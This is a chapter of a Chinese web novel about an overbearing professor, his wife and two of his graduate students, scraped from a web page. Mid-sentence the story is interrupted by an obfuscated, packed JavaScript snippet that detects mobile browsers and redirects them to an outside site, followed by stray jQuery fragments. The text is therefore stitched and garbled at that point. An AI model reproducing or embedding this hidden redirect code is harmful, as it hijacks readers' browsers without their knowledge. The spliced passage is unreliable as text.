太阳和群山呦呦是也

84.第 84 章

    纪慎今晚回来得很迟。本来六点多就准备去食堂吃晚饭回家的,突然接到秦昭阳的电话,让他去家里帮照看一下秦嘉辰。纪慎不好推辞,便到秦昭阳家里,看着那对抱在客厅泣不成声的母女安慰了好一阵,嘉辰妈妈话多得很,非拉着纪慎扯这扯那,深夜了才放人走。


    纪慎回到家里,寂静无声,餐厅客厅都收拾得干干净净,那个戒尺盒还放在客厅的小桌上。


    他无奈地摇摇头,拿起戒尺盒往客卧走,果然就见到了门下那一道亮光。


    这次没有询问,纪慎敲敲门,就推开了。坐在床上发呆的庄遂平一见他,猛地缩了缩肩膀,没有说话。


    大约是累了,纪慎没有问他怎么没睡,只是疲惫地走过去,将戒尺盒放在床头桌上,道:“早点睡吧。”


    退出房间的时候,纪慎顺手帮他关了灯。


    黑暗中,庄遂平看不见那个戒尺盒,只好摸索着缓缓躺下了。


    但不知是不是睡前想着那柄戒尺的缘故,庄遂平不出意外又做了噩梦,而且反应很大,半梦半醒间两手一扫,床头桌上的东西“噼里啪啦”掉了一地,玻璃杯、台灯什么的,弄出好大的动静。


    纪慎的妻子睡得浅,隔音又不好,很快就被弄醒了,推了推身旁的丈夫:“去看看他,不知道怎么了。”


    纪慎迷迷糊糊醒来,虽然听不见声,但确实不放心,只得睁着沉重的眼皮起身。


    “庄遂平,我进来了。”纪慎脑子还不清醒,糊糊涂涂地拍了两下门就进去了,按亮灯,慢慢往里头走,突然踢到一个什么东西,愣了一下。


    庄遂平一身冷汗,蜷在床头,像是受了很大惊吓的样子。


    还不等纪慎说话,妻子已经披着衣服走过来了,扭头吩咐道:“去拿扫帚来,收拾了。”


    平日纪慎是不做这种事的,但今晚许是还不清醒,竟然就走出去找扫帚了。再回来时,只见妻子坐在床边,温柔地把庄遂平抱在怀里,很轻很轻地说话:“没事没事,不会有事的,在家里呢……”


    那场景,让他以为床上的人是纪沅。


    纪沅,他的独子。


    这个房间,过去就是纪沅的房间。但因为父子关系过于糟糕,纪沅早早就离开了家,以至于这个房间作为客卧一直空了出来,直到庄遂平住进来。


    纪慎回过神,笨拙地清扫着地上的碎片。他很少做家务,长手长脚的竟然不怎么会拿扫帚和垃圾铲,显得有些滑稽。


    纪慎的妻子一阵阵地拍着庄遂平的后背,像妈妈一样哄着他再次入睡。纪慎眼见着那孩子昏昏沉沉地平躺在床上,竟觉得很神奇。


    妻子拢拢衣服,走下床,接过纪慎手里的东西,出去了。


    纪慎看了庄遂平两眼,也跟着走了。


    “纪慎,”妻子倒了垃圾,放好扫帚,轻声道,“你把他逼疯了。”


    纪慎困惑不解:“我逼他什么了?”


    妻子笑了笑,声音依旧轻柔:“是,你没有拿刀架在他脖子上,没有拿枪口抵着他的太阳穴。可是你看看这个房子,有一点点家的样子吗?这个客厅,能坐人吗?也许哪天他愿意和你说说话了,都找不到地方坐下来。他往这里一站,都要窒息了。”


    “纪慎,你太爱自己了,你爱惜自己的文章,爱惜自己的名声,你只在乎书放的位置够不够方便,只在乎你写出来的东西能被多少人引用,可是你从来不关心其他人。”


    “你已经有沅沅作为前车之鉴了,现在还要重蹈覆辙吗?”妻子说到这,突然发现自己竟然还对他抱有一丝希望,又自嘲地笑了笑,“说真的,我都无法理解,你这个学生怎么能忍受你到这种地步。沅沅是你的儿子,忍了十几年也就算了,庄遂平是怎么忍下你的?”


    纪慎恼怒地皱起眉头:“忍什么?我虐待他了?别的学生怎么没这样?要是出了问题就来怪老师,那老师可冤大了!”


    妻子深深呼吸,缓缓道:“纪慎,你真的觉得,他和别的学生是一样的吗?”


    纪慎愣了一下,差点就脱口而出一句当然,可又觉得有什么不对,便不说了。


    妻子不再说话,迈步回房去了。


    许是半夜惊悸的缘故,第二日庄遂平醒得很晚,而且整个人都晕晕乎乎的,收拾整齐出房时,纪慎夫妇已经在吃早餐了。庄遂平平时的位置上,放着一碗热粥。


    纪慎看了他一眼,硬邦邦道:“过来吃饭。”


    庄遂平本没有什么波动,可走到餐桌旁,对上他那位师母温柔的眼神,支支吾吾地说了一句:“对不起。”


    女人笑笑,说:“没关系,坐下吧,粥还是热的,慢慢喝。”


    庄遂平点点头,拉开椅子坐下,舀起粥,送进嘴里。


    这个点,刘巍思已经到图书馆了。柏阅冬和庄遂平相继出事,严先生也受到了影响,刘巍思不得不开始一个人的学习之旅,毕竟再怎么样,他也还要毕业,还要读博,他自己的人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15093952|143212||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    生还得继续下去。


    但是就在他埋头苦读的时候,他不知道命运的齿轮悄悄地转动了。


    他只是照常找资料、写论文、在稿纸上涂涂改改,直到头昏脑胀,直到手腕上的圆表盘提醒他该回家了。


    他仍然像过去每天一样,斜挎着一个帆布包,手里抱两本从图书馆借出来的书,疲惫地走向熟悉的宿舍楼。


    他还是习惯性地掏出钥匙,捅进锁孔里,拧开,推门。


    然后他就愣住了。


    对着门的餐厅里,一个男人正把东西往冰箱里放,听见声响,便转头过来,笑了笑,道:“你是刘巍思吧?”


    刘巍思更糊涂了,这里怎么会有一个他不认识的男人?而且这个男人认识他。


    可是细看这个人,大约比大师兄小几岁吧,眉眼间让他很有熟悉感,只是他那样爽朗地一笑,又会让刘巍思觉得自己想多了。


    “快进来呀,发什么呆?”


    刘巍思呆呆地关了门,却没有换鞋,一眼扫过去,房子里还是熟悉的摆放——他应该没有走错地方。


    但真正让他的心定下来的,还是书房里传出的熟悉声音:“怎么了?”


    刘巍思差点要笑出来,正要说话,就听男人朗声回答道:“爸!是巍思回来了!”


    刘巍思嘴角的笑意僵在了脸上。


    他想,他听到了一个很陌生的称呼,那个称呼,他从没出过口,也从没听别人这样叫过老师。但是,这个称呼又很熟悉,因为他就是一直那样对待老师的。


    然后,突然来了一个会在这个房里很大声地叫“爸”的人。


    严先生缓缓从书房里出来,见到刘巍思,笑笑道:“巍思回来了,累了吧?这是严铮,你师兄。”


    刘巍思再次看向那个男人,终于确定了那种熟悉感——他的眼睛,跟老师真的很像。


    刘巍思抱紧了怀里的书,慢慢地弯腰,讷讷道:“师兄好。”


    严铮笑着收好冰箱里的东西,道:“那我先走,明天我再来看爸。”说着走向客厅,收拾茶几上的大相册。


    “你走就走,别收呀,我还没看够呢,留着我看。”


    “行,爸慢慢看,明早我来给爸蒸小笼包。”


    “好,你回去慢些。”


    刘巍思知道,他现在该说师兄再见,师兄慢走,可是不知怎么的,双唇一点也张不开,直到严铮换鞋离开,他才抿了抿唇,余光瞥向茶几上的相册。